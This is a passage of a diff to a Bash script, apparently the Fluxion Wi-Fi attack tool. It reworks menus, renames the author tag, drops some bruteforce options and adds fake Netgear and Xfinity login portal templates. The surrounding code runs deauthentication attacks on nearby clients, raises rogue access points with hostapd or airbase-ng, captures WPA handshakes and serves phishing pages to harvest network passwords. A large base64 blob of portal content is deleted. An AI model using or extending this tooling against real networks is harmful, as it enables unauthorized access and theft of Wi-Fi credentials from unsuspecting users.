-n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') + readarray -t naggysoftware < <(./lib/airmon/airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(./lib/airmon/airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 @@ -1597,7 +675,7 @@ function setinterface { break; done - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFIMONITOR=$(./lib/airmon/airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI @@ -1609,23 +687,11 @@ function setinterface { exitmode fi - deltax -} - -function skipme { - FLUX_DEBUG=1 - Host_SSID="DEV" - Host_ENC="WPA 2" - channel="12" - speed="54" - Host_MAC="XX:a5:89:ad:e9:XX" - mac="$Host_MAC" - Host_MAC_MODEL="XX:a5:89:ad:e9:XX" - askAP + ghost } # Check files -function deltax { +function ghost { conditional_clear CSVDB=dump-01.csv @@ -1648,9 +714,9 @@ function choosescan { conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $choosescan_option_1 " + echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " @@ -1674,7 +740,7 @@ function Scanchan { top echo " " - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan " + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " @@ -1714,7 +780,7 @@ function selection { if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Error: your wireless card isn't supported " + echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then @@ -1727,7 +793,7 @@ function selection { fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break + ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` @@ -1781,7 +847,7 @@ function selection { fi if [[ $choice -eq "r" ]]; then - deltax + ghost fi idlength=${aidlength[$choice]} @@ -1827,12 +893,11 @@ function askAP { infoap - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_askAP" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $askAP_option_1" + echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $askAP_option_4" - echo -e " "$red"["$yellow"4"$red"]"$red" $general_back" $transparent"" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -1840,9 +905,7 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; - 4 ) fakeapmode="Aircrack-ng"; Bruteforce; break;; - 5 ) selection; break ;; + 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done @@ -1860,11 +923,11 @@ function askauth { top while true; do - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_askauth" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $askauth_option_1" + echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $general_back" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -1903,10 +966,8 @@ function handshakelocation { echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo - echo -n "Path: " - echo -ne "$red" - echo -ne "$transparent" - + echo -ne "Path: " + if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi @@ -1989,11 +1050,11 @@ function deauthforce { top while true; do - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthforce" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" $deauthforce_option_1" - echo -e " "$red"["$yellow"2"$red"]"$transparent" pyrit" - echo -e " "$red"["$yellow"3"$red"]"$transparent" $general_back" + echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent + echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" + echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn @@ -2029,9 +1090,9 @@ function askclientsel { while true; do top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthMENU" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Deauth all" + echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " @@ -2044,7 +1105,7 @@ function askclientsel { 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; @@ -2114,12 +1175,12 @@ function deauthMENU { clear top - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_deauthMENU " + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo - echo -e " "$red"["$yellow"1"$red"]"$transparent" $deauthMENU_option_1" - echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back (Select another deauth method)" + echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" + echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' @@ -2207,9 +1268,9 @@ function certssl { conditional_clear top echo " " - echo -e ""$red"["$yellow"i"$red"]"$transparent" Certificate invalid or not present, please choose an option" + echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Create a SSL certificate" + echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " @@ -2235,7 +1296,7 @@ function certssl { echo " " echo " Certificate invalid or not present, please choice" echo " " - echo -e " "$red"["$yellow"1"$red"]"$transparent" Create a SSL certificate" + echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " @@ -2278,18 +1339,16 @@ function webinterface { infoap echo - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_webinterface" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo - echo -e " "$red"["$yellow"1"$red"]"$transparent" Web Interface" - echo -e " "$red"["$yellow"2"$red"]"$transparent" Bruteforce" - echo -e " "$red"["$yellow"3"$red"]"$transparent" \e[1;31mExit"$transparent"" + echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" + echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; - 2 ) matartodo; Bruteforce2; break;; - 3 ) matartodo; exitmode; break;; + 2 ) matartodo; exitmode; break;; esac done fi @@ -2308,7 +1367,7 @@ function ConnectionRESET { n=1 echo - echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_ConnectionRESET" + echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` @@ -2333,7 +1392,8 @@ function ConnectionRESET { echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` - echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese - Brazilian (NEUTRA)";n=`expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` @@ -2342,13 +1402,14 @@ function ConnectionRESET { echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` - echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ITA]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` + echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " @@ -2578,7 +1639,7 @@ function ConnectionRESET { NEUTRA break - elif [ "$webconf" = "17" ]; then + elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB @@ -2690,41 +1751,51 @@ function ConnectionRESET { NEUTRA break - elif [ "$webconf" = "25" ]; then + elif [ "$webconf" = 25 ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN + DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ + DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ + DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN + DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN + DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN + NEUTRA + SVNeak + + elif [ "$webconf" = "26" ]; then BELKIN break - elif [ "$webconf" = "26" ]; then + elif [ "$webconf" = "27" ]; then NETGEAR break - elif [ "$webconf" = "27" ]; then + elif [ "$webconf" = "28" ]; then HUAWEI break - elif [ "$webconf" = "28" ]; then + elif [ "$webconf" = "29" ]; then VERIZON break - elif [ "$webconf" = "29" ]; then + elif [ "$webconf" = "30" ]; then NETGEAR2 break - elif [ "$webconf" = "30" ]; then + elif [ "$webconf" = "31" ]; then ARRIS2 break - elif [ "$webconf" = "31" ]; then + elif [ "$webconf" = "32" ]; then VODAFONE break - elif [ "$webconf" = "32" ]; then - TPLINK - break - elif [ "$webconf" = "33" ]; then - TPLINK_ITA + TPLINK break elif [ "$webconf" = "34" ]; then @@ -2752,6 +1823,14 @@ function ConnectionRESET { break elif [ "$webconf" = "40" ]; then + Login-Netgear + break + + elif [ "$webconf" = "41" ]; then + Login-Xfinity + break + + elif [ "$webconf" = "42" ]; then conditional_clear webinterface break @@ -3026,7 +2105,7 @@ function attack { while true; do top - echo -e ""$red"["$yellow"i"$red"]"$transparent" Attack in progress .." + echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" @@ -3195,7 +2274,7 @@ function handshakecheck { killall wpa_passphrase &>$flux_output_device echo \" - FLUX $version by deltax + FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) @@ -3260,15 +2339,6 @@ function matartodo { } - - -############################################## < STUFF > ############################################ - - - - - - ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface @@ -3278,2223 +2348,7 @@ function NEUTRA { mkdir $DUMP_PATH/data fi - echo "UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp -KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj -/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// -+Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ -IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f -/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ -uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su -BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf -2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 -0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 -/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 -16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s -+fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD -8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 -R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt -BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW -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 